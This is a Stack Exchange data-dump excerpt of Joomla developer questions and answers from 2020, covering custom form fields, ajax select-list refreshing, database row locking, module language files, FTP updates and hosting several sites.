  <row Id="28097" PostTypeId="2" ParentId="28088" CreationDate="2020-05-25T23:23:41.057" Score="-1" Body="&lt;p&gt;Invalid JomSocial license, or license check failed. Validate your license or buy a  valid license, install the latest version, or ask their &lt;a href=&quot;https://www.jomsocial.com/forum&quot; rel=&quot;nofollow noreferrer&quot;&gt;support forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-25T23:23:41.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28098" PostTypeId="2" ParentId="28084" CreationDate="2020-05-25T23:27:37.630" Score="0" Body="&lt;p&gt;Yes, I have recently implemented the same. Here's just one example of &lt;a href=&quot;https://codepen.io/tibomahe/pen/xVaGaZ&quot; rel=&quot;nofollow noreferrer&quot;&gt;priority navigation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no default way to accomplish this in Joomla, or any other CMS I have come across. How you would implement this would be dependent on the template that you are using.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-25T23:27:37.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28099" PostTypeId="1" CreationDate="2020-05-26T04:02:36.570" Score="0" ViewCount="75" Body="&lt;p&gt;I've added in custom fields for joomla registration, however it's returning them as Invalid Fields?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$requestData = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;echo '&amp;lt;pre&amp;gt;';print_r($requestData);echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;Array&#xA;(&#xA;    [name] =&amp;gt; testing&#xA;    [username] =&amp;gt; testing&#xA;    [password1] =&amp;gt; testing&#xA;    [password2] =&amp;gt; testing&#xA;    [email1] =&amp;gt; testing@testing.com&#xA;    [email2] =&amp;gt; testing@testing.com&#xA;    [com_fields] =&amp;gt; Array&#xA;        (&#xA;            [country] =&amp;gt; Australia&#xA;            [australian-state] =&amp;gt; Victoria&#xA;            [are-you-a] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; Pre-service teacher&#xA;                )&#xA;&#xA;            [how-did-you-hear-about-forestlearning] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; Schools association&#xA;                )&#xA;&#xA;        )&#xA;&#xA;)&#xA;&#xA;Invalid field: Country *&#xA;Invalid field: Australian State&#xA;Invalid field: Are you a *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are fields I have added into Users -&gt; Fields, and display fine on the form. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version 3.9.18&lt;/p&gt;&#xA;" OwnerUserId="12314" LastEditorUserId="12314" LastEditDate="2020-05-26T04:13:04.807" LastActivityDate="2024-02-05T13:08:06.050" Title="joomla returning invalid fields for user registration" Tags="|user|custom-field|registration|fields|user-registration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28100" PostTypeId="1" CreationDate="2020-05-26T04:45:57.713" Score="1" ViewCount="36" Body="&lt;p&gt;I use Joomla for my work website and like it but I want to move my personal website to Joomla. I initially registered my website through NameCheap.com and tried using their Website Builder but their templates can't do what I know I can do in Joomla. At this point, I'm willing to start over (don't need to transfer content) but I want to use a separate login to access them and don't intend to share a database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible to do this and what are the steps to transfer a URL and create separate logins on Joomla? Yes, I'm a noob...:-)&lt;/p&gt;&#xA;" OwnerUserId="14321" LastActivityDate="2020-05-30T14:02:10.557" Title="Can I use Joomla for two seperate websites?" Tags="|hosting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28101" PostTypeId="2" ParentId="28099" CreationDate="2020-05-26T05:49:28.807" Score="0" Body="&lt;p&gt;Ok it was the permissions for each new profile field, I set them to be allowed and it now saves.&lt;/p&gt;&#xA;" OwnerUserId="12314" LastActivityDate="2020-05-26T05:49:28.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28102" PostTypeId="1" AcceptedAnswerId="28108" CreationDate="2020-05-26T09:19:26.660" Score="2" ViewCount="1125" Body="&lt;p&gt;for one of my extensions i need to update a select list by ajax. the whole ajax call is working and i got the new option vars for the select list. &#xA;I add those options in the ajax's &quot;success&quot; function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('select#jform_identificator').append(new Option(&quot;label&quot;, &quot;value&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this part is ok, if i check the source code the options where set. but it does not update the field rendering unfortunately. So my select list still contains no values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i call the updater / refresh the rendering for a select list in joomla's backend? (we are talking here about a default form field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;This is the innerHTML of the control container:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;jform_scored_team&quot; name=&quot;jform[scored_team]&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;     &amp;lt;option value=&quot;1&quot;&amp;gt;Team A&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;2&quot;&amp;gt;Team B&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;div class=&quot;chzn-container chzn-container-single chzn-container-single-nosearch&quot; style=&quot;width: 220px;&quot; title=&quot;&quot; id=&quot;jform_scored_team_chzn&quot;&amp;gt;&#xA;&amp;lt;a class=&quot;chzn-single chzn-default&quot;&amp;gt;&#xA; &amp;lt;span&amp;gt;Select an option&amp;lt;/span&amp;gt;&#xA; &amp;lt;div&amp;gt;&#xA;      &amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;div class=&quot;chzn-drop&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;chzn-search&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; autocomplete=&quot;off&quot; readonly=&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;     &amp;lt;ul class=&quot;chzn-results&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be honest - the field was created by Joomla Component Builder i disabled all &quot;fancy&quot; options so no search is active for this list.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-05-26T10:48:14.887" LastActivityDate="2020-05-26T17:46:28.373" Title="Update List field rendering after ajax update" Tags="|jquery|ajax|form|select|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28103" PostTypeId="2" ParentId="28084" CreationDate="2020-05-26T11:18:19.150" Score="0" Body="&lt;p&gt;You can create the sub menu items using aliases and you can show / hide menu options using custom CSS with media queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to add link classes to the menu options to be able to specify each menu option in the custom CSS.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-05-26T11:18:19.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28104" PostTypeId="2" ParentId="28100" CreationDate="2020-05-26T11:33:16.567" Score="1" Body="&lt;p&gt;If I understand correctly, this is probably more of a hosting question than a Joomla question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can host multiple Joomla websites on the same hosting account with separate databases as long as your hosting plan allows this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally you would set up the second domain as an &quot;add-on&quot; domain and files can go in a subdirectory such as /public_html/personal or along side the current root directory such as /public_html_personal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To point your personal domain name to the work hosting, you'll need to log in to the domain name control panel and update the name server settings to the ones for your work hosting. These changes will take a few hours to propagate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to keep Joomla and third party extensions up to date on both websites as if one gets compromised, then they will probably both become compromised.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-05-26T11:33:16.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28105" PostTypeId="1" AcceptedAnswerId="28149" CreationDate="2020-05-26T14:13:03.587" Score="0" ViewCount="139" Body="&lt;p&gt;I need to create a &lt;code&gt;custom formfield&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the data I want to populate the list with is in a &lt;code&gt;json&lt;/code&gt; file.  So I can't really do a &lt;code&gt;PHP&lt;/code&gt; for each, or if I do, I need to somehow do a JS for each at the same time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice you can provide to steer me, even to resources would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-06-13T21:34:06.373" Title="How can I create a custom list formfield from json" Tags="|form-fields-types|json|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28106" PostTypeId="2" ParentId="28070" CreationDate="2020-05-26T15:50:53.563" Score="0" Body="&lt;p&gt;With custom fields you need to make sure that (1) the form type in your xml (2) the protected &lt;code&gt;$type&lt;/code&gt; variable in your code (3) the class name and (4) the file storing the code all match. So if you have a field type of &quot;UserInfo&quot; then your class name must be JFormFieldUserInfo with &lt;code&gt;protected $type = 'UserInfo';&lt;/code&gt; and the code has to be in a file whose filename is UserInfo.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for a module Joomla will look in a subdirectory called &lt;code&gt;field&lt;/code&gt; for custom field definitions, so if you put your UserFieldList.php file there then you don't need the addfilepath attribute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, setting the default value to &lt;code&gt;array(2, 3)&lt;/code&gt; only works if you have the &lt;code&gt;multiple&lt;/code&gt; attribute in your field xml. But because you want to save the field in the database, when you redisplay it you just want the value set to whatever was in the database. So really leave that out and Joomla will set the value based on the database setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your xml file  section include the folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    ...&#xA;    &amp;lt;folder&amp;gt;field&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put your code for the custom field into &lt;code&gt;field/UserInfo.php&lt;/code&gt; (removing setting the value):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;FormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldUserInfo extends JFormFieldList { &#xA;&#xA;protected $type = 'UserInfo';&#xA;&#xA;    public function getOptions() {&#xA;        $cities = array(&#xA;            array('value' =&amp;gt; 1, 'text' =&amp;gt; 'New York'),&#xA;            array('value' =&amp;gt; 2, 'text' =&amp;gt; 'Chicago'),&#xA;            array('value' =&amp;gt; 3, 'text' =&amp;gt; 'San Francisco'),&#xA;        );&#xA;        // Merge any additional options in the XML definition.&#xA;        $options = array_merge(parent::getOptions(), $cities);&#xA;&#xA;        return $options;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should then work ok. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-05-26T15:50:53.563" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28107" PostTypeId="2" ParentId="24915" CreationDate="2020-05-26T16:37:11.970" Score="1" Body="&lt;p&gt;In the end I didn't find a way to do this through mocking, but it is very simple to implement a class that does everything I need from the logger:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JLog {&#xA;    const DEBUG = 5;&#xA;    const INFO = 4;&#xA;    const WARNING = 3;&#xA;    const ERROR = 2;&#xA;&#xA;    private static $messages;&#xA;&#xA;    public static function add( $message, $level, $report ) {&#xA;        if (!self::$messages) {&#xA;            self::$messages = array();&#xA;        }&#xA;        self::$messages[] = $message;&#xA;        echo(&quot;\r\n&quot;.$message); //optionally print the message for troubleshooting tests.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just including this in my test classes or the bootstrap file immediately got my tests working.&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2020-05-26T16:37:11.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28108" PostTypeId="2" ParentId="28102" CreationDate="2020-05-26T17:46:28.373" Score="2" Body="&lt;p&gt;If you're using ChosenJS, which is the fancy select library that Joomla 3.x uses, then you'll need to manually instruct it to update the list, because it doesn't use any observers by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#jform_identificator').trigger(&quot;chosen:updated&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-05-26T17:46:28.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28109" PostTypeId="2" ParentId="28094" CreationDate="2020-05-28T00:05:55.127" Score="3" Body="&lt;p&gt;It looks like you want to execute &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/innodb-locking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;InnoDB Record Locking&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I haven't personally done this before and I don't know whether you need to specify a primary id in your query, but if you merely wish to append the &lt;code&gt;FOR UPDATE&lt;/code&gt; expression to the end of your query, you can extend the sql string in the &lt;code&gt;setQuery()&lt;/code&gt; call.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query . &amp;quot; FOR UPDATE&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you wanted to see the generated string before passing it to &lt;code&gt;setQuery()&lt;/code&gt;, you could&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage($query . &amp;quot; FOR UPDATE&amp;quot; , 'info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to see the following (I have added newlines for easier viewing in this post):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `jo`.`job_id`&#xA;FROM `#__jsch_job` as jo&#xA;WHERE `jo`.`published`='1'&#xA;  AND `jo`.`job_status`='Ready'&#xA;ORDER BY `jo`.`ordering` ASC&#xA;LIMIT 1&#xA;FOR UPDATE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;That said, I only see Record Locking being done within a single transaction.  Here's a great read: &lt;a href=&quot;https://dba.stackexchange.com/q/15854/157408&quot;&gt;InnoDB row locking - how to implement&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In other words, I don't think the row locking technique alone will be enough for your task.&lt;/p&gt;&#xA;&lt;p&gt;Instead (if I am understanding correctly), I recommend that you create a &lt;code&gt;claimerId&lt;/code&gt; column in your table, then when a user claims the record...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The user's sessionId goes into the &lt;code&gt;claimerId&lt;/code&gt; column of that row.  You might even add a &lt;code&gt;claimedOn&lt;/code&gt; column as a datetime stamp and have an independent process clear away &lt;code&gt;claimerId&lt;/code&gt; values once &lt;code&gt;claimedOn&lt;/code&gt; has exceeded a sensible time allowance.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the user's action executes an update on the claimed row AND the user's sessionId matches the &lt;code&gt;claimerId&lt;/code&gt; AND the &lt;code&gt;claimedOn&lt;/code&gt; is not expired, include the additional changes in the &lt;code&gt;SET&lt;/code&gt; clause (&lt;code&gt;claimerId = NULL, claimedOn = NULL&lt;/code&gt;).  (Or use a trigger, if you like, when a row with a claimerId is UPDATEd, wipe the claiming column values.)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a user logs out before doing anything with their claimed row, then you will need to execute a query that wipes the claiming column values.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now, after all of that work is effectively implemented, you still need to mitigate the race condition on the claiming functionality in the first place.  I don't know how much traffic you are dealing with, but you may need to rely on table or record locking techniques to prevent claimed row thievery (overwriting the &lt;code&gt;claimerId&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;I am thinking that you would something like...&lt;/p&gt;&#xA;&lt;p&gt;Pseudocode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[startYourTransaction]&#xA;&#xA;SELECT [yourPrimaryKey]&#xA;FROM #__jsch_job&#xA;WHERE published = 1 &#xA;  AND job_status = 'Ready'&#xA;  AND claimerId IS NULL&#xA;LIMIT 1&#xA;FOR UPDATE&#xA;&#xA;UPDATE #__jsch_job&#xA;SET claimerId = [userSessionId], claimedOn = NOW()&#xA;WHERE [yourPrimaryKey] = [theIdFromPreviousSelectQuery]&#xA;&#xA;[endTransaction]&#xA;&#xA;... some indeterminate time passes (currently the row is &amp;quot;logically claimed&amp;quot;, not &amp;quot;record locked&amp;quot;)...&#xA;&#xA;UPDATE #__jsch_job&#xA;SET [whateverColumn] = [whateverNewValue], claimerId = NULL, claimedOn = NULL&#xA;WHERE [yourPrimaryKey] = [theIdFromPreviousSelectQuery]&#xA;  AND claimerId = [userSessionId]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla Documentation on using Transactions: &lt;a href=&quot;https://docs.joomla.org/Using_transactions_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_transactions_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sorry that I cannot speak from experience; you will need to continue researching this task.  If you make further discoveries or find a better way please post an answer to inform the community.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2020-05-28T00:05:55.127" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28110" PostTypeId="2" ParentId="28094" CreationDate="2020-05-28T09:55:39.110" Score="1" Body="&lt;p&gt;I have not used it personally but if you want like chaining of your database queries you can use inbuilt Joomla functions released since Joomla 2.5, &lt;code&gt;unlockTables();&lt;/code&gt; and &lt;code&gt;lockTable();&lt;/code&gt;&#xA;Format to use is &lt;code&gt;$query-&amp;gt;lockTable(string $tableName)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$tableName&lt;/code&gt; is your tablename with &lt;code&gt;#__&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table gets locked unless released for another query.&#xA;At the end just do &lt;code&gt;$query-&amp;gt;unlockTables();&lt;/code&gt; to release the table.&lt;/p&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2020-05-28T09:55:39.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28111" PostTypeId="1" CreationDate="2020-05-28T13:04:21.950" Score="0" ViewCount="170" Body="&lt;p&gt;I just set-up a VPS and installed Joomla.  Now I need to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on the update button, and I try to do it through FTP I get this error message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JFTP: :connect: Could not connect to host ' sftp://XXX.XXX.XXX.XX ' on port ' 21 '&lt;br&gt;&#xA;  File Checksum Failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have valid credentials set in my configuration.php for &lt;code&gt;$ftp_&lt;/code&gt; host, port, user, pass and root I have set to &lt;code&gt;public $ftp_root = '/root';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to change so that I can update my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;br&gt;&#xA;I can connect using the sftp IP and credentials through FileZilla no issue.&lt;/p&gt;&#xA;" OwnerUserId="14249" LastEditorUserId="14249" LastEditDate="2020-05-28T13:11:01.680" LastActivityDate="2021-06-24T12:51:10.000" Title="Update Joomla Site With FTP From Admin Panel" Tags="|joomla-3.x|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28113" PostTypeId="1" CreationDate="2020-05-29T05:10:34.343" Score="0" ViewCount="282" Body="&lt;p&gt;if i go with upload my php file where data is being sent and from where data is getting stored (that php file) stored into server &lt;a href=&quot;http://ip/includes/js_new/update_contact.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ip/includes/js_new/update_contact.php&lt;/a&gt;&#xA;then it shows 500 internal problem.. pls help me frnds..&#xA;         $(&quot;#update_btn&quot;).click(function(e){&#xA;          e.preventDefault();&#xA;          alert(&quot;debugging&quot;);&#xA;          var data=$(&quot;#frmUpdate&quot;).serialize();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      $.ajax({&#xA;       // url:&quot;index.php?option=com_jumi&amp;amp;fileid=44&quot;,&#xA;        url:&quot;http://ip/includes/js_new/update_contact.php&quot;;&#xA;        type:&quot;POST&quot;,&#xA;        data:data,&#xA;        cache:false,&#xA;        success:function(result){&#xA;          alert(result);&#xA;          console.log(result);&#xA;          alert(&quot;testting&quot;);&#xA;&#xA;           }&#xA;         })&#xA;&#xA;        e.preventDefault();&#xA;&#xA;      });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Guys i got the proble it is working now Thank you so much for your quick replies..&#xA;Problem was-- there was error in my php page where i'm posting or written insert and database query... because of that it was not showing error and we just focused on ajax request only it is write. i'v to change on php file.. for ajax we don't need mootool or don't require to follow whole mvc pattern of the joomla... I got it guys i written these every thing for our future developers... &lt;/p&gt;&#xA;" OwnerUserId="9584" LastEditorUserId="9584" LastEditDate="2020-06-02T07:09:37.090" LastActivityDate="2020-07-02T08:00:55.073" Title="not able to do ajax request in my custom component i'm not working in mvc right now" Tags="|ajax|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="28114" PostTypeId="2" ParentId="28113" CreationDate="2020-05-29T08:00:55.500" Score="1" Body="&lt;p&gt;Please note that when you are providing an url link you should not use a trailing slash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so instead of &lt;code&gt;url:&quot;/index.php?option=com_jumi&amp;amp;fileid=44&quot;,&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should give&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url:&quot;index.php?option=com_jumi&amp;amp;fileid=44&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2020-05-29T08:00:55.500" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="28115" PostTypeId="2" ParentId="28111" CreationDate="2020-05-29T16:16:29.767" Score="0" Body="&lt;p&gt;You can just use &quot;Write files directly&quot;&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2020-05-29T16:16:29.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28116" PostTypeId="1" AcceptedAnswerId="28118" CreationDate="2020-05-29T17:54:14.653" Score="0" ViewCount="308" Body="&lt;p&gt;I'm creating a module but I need it to be multilingual. I know that I can create field params, duplicate the module, and set different values for these params based on the languague but I would like to know if there's any way to use Language Constant like we do with components.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-06-01T13:03:35.887" Title="Using Language Constant File in a Module" Tags="|joomla-3.x|module|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28117" PostTypeId="2" ParentId="28100" CreationDate="2020-05-29T22:07:03.037" Score="2" Body="&lt;p&gt;You can easily set up a Joomla site on Namecheap. I have several of them there. Just install Joomla in your public_html directory. I am assuming you are not also hosting your work website on Namecheap - but if you are, you can host multiple Joomla sites on one hosting account in Namecheap (I have done this as well).  You would just need to install Joomla into a separate root directory on NameCheap (i.e. at the same level as your public_html) then point the domain name (URL) to that folder.&lt;/p&gt;&#xA;" OwnerUserId="2080" LastEditorUserId="12352" LastEditDate="2020-05-30T14:02:10.557" LastActivityDate="2020-05-30T14:02:10.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28118" PostTypeId="2" ParentId="28116" CreationDate="2020-05-29T22:26:52.207" Score="3" Body="&lt;p&gt;Yes, you set them up in a similar way to components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your module directory create a folder &lt;code&gt;language&lt;/code&gt;, and then a subfolder for the language within that, and into that subfolder put your language INI file(s). If your module is called &lt;code&gt;mod_example&lt;/code&gt; then: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;language/en-GB/en-GB.mod_example.ini&lt;/code&gt; put &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD_EXAMPLE_ONE=&quot;one&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;language/es-ES/es-ES.mod_example.ini&lt;/code&gt; put &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD_EXAMPLE_ONE=&quot;uno&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside your module xml file include the language folder within a &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; section (updated from within a &lt;code&gt;&amp;lt;files&amp;gt;&lt;/code&gt; section based on the comment from Sharky below):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_example.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.mod_example.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your module you can use language strings in the usual way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JText::_(&quot;MOD_EXAMPLE_ONE&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-06-01T13:03:35.887" LastActivityDate="2020-06-01T13:03:35.887" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28119" PostTypeId="1" AcceptedAnswerId="28126" CreationDate="2020-05-30T17:22:30.877" Score="1" ViewCount="94" Body="&lt;p&gt;I'd like to include an XML form field in my template that allows the user to upload an image file for the company logo. I know how to do this for a regular component's administrator control panel, but stumped on doing it for a template (there's no separate &lt;code&gt;tmpl&lt;/code&gt; file creating the control panel, just my &lt;code&gt;templateDetails.xml&lt;/code&gt; file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction? I've read the instructions here and am still unclear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/How_to_use_the_filesystem_package&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/How_to_use_the_filesystem_package&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2020-06-02T19:24:38.130" Title="Uploading file using Form class in admin template control panel" Tags="|templates|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28121" PostTypeId="1" CreationDate="2020-06-01T05:19:06.320" Score="0" ViewCount="30" Body="&lt;p&gt;I'm considering buying this software and I went to its demo, but can't figure out myself how to break a total sum into payments. For example, my client owes me $300, okay? He can pay me $150 and then again $150. Let's say the first payment can be paid on June 1, 2020 till June 5, 2020 and the 2nd one from July 1, 2020 till July 5, 2020. So 5th of July is a due date for the whole invoice. What is a &quot;Due date&quot; for a payment and what is a &quot;Payment daytime&quot;? What's the difference? I don't understand the terminology behind it....In my particular example, what exactly must be done? I create two payments for $150 each. But which &quot;Due date&quot; and &quot;Payment daytime&quot; would be in that case?&#xA;I'll attach a screenshot to make things clearer.&lt;a href=&quot;https://i.stack.imgur.com/gaCyO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gaCyO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2020-06-01T05:19:06.320" Title="Need help to create payments in Invoice Manager" Tags="|extensions|joomla-3.6|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
